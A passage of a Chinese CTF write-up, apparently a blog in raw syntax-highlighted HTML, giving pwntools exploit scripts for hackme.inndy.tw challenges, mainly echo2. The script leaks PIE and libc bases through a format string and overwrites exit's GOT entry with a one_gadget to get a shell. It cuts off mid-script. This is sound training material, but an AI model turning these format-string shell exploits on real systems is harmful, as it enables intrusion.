style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]}))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;interactive&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;出乎意料的是这题不用泄露&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;libc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;版本直接发过去就能得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;shell……莫非我电脑和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;inddy&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;用的一个版本&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;libc……&lt;&#x2F;p&gt;
&lt;h2 id=&quot;echo2&quot;&gt;echo2&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;FLAG{do you know PIE? %9$s or the ASLR? %9c$8$hhn}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;一开始觉得和上一道没什么区别，顶多就是不能用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fmtstr_payload&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。但对着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PPT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;半天做不出，上网得知：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;开启&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PIE&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;需要程序本身的基址；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;www.voidcn.com&#x2F;article&#x2F;p-aylailtb-bro.html&quot;&gt;这题没法把 printf 地址覆盖成
system&lt;&#x2F;a&gt;。因为一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;%hhn&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写一个字节，没法一次覆盖完，下一次循环也没法用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;printf&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。所以网上的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;WP&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;无一例外都用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;one_gadget&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;execve(&#x27;&#x2F;bin&#x2F;sh&#x27;, NULL, NULL)&lt;&#x2F;code&gt;，并覆盖到退出循环后的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;exit&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数里。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;脚本参考了王奥博学长和李博学长的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# -*- coding: utf-8 -*-&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; pwn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;context&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;bits&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# context.log_level = &amp;#39;debug&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; remote&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;hackme.inndy.tw&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 7712&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;ABCD%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;ABCD44434241&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;keepends&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;False&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;info&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Found format string offset -&amp;gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;%x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span&gt; offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ELF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&#x2F;libc-2.23.so.x86_64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ELF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&#x2F;echo2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;%41$p..%43$p..&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# %41$p指向的是main+74，所以要减掉main函数地址(nm .&#x2F;echo2得到)和74&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;elf_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;..&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; drop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 16&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 74&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; - 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9b9&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;++%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; str&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$s++&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;elf_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;got&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;printf_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; u64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvuntil&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; drop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;True&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;).&lt;&#x2F;span&gt;&lt;span&gt;ljust&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;\x00&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;libc_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; printf_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt; libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sym&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;info&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;elf_base -&amp;gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;%x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span&gt; elf_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;info&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;libc_base -&amp;gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;%x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span&gt; libc_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;exit_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; override_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;got&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;],&lt;&#x2F;span&gt;&lt;span&gt; libc_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; + 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;45206&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;  # one_gadget&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;while&lt;&#x2F;span&gt;&lt;span&gt; override_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;c%8$hhn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;format&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;override_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;amp; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;ff&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;).&lt;&#x2F;span&gt;&lt;span&gt;ljust&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span&gt; p64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;exit_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
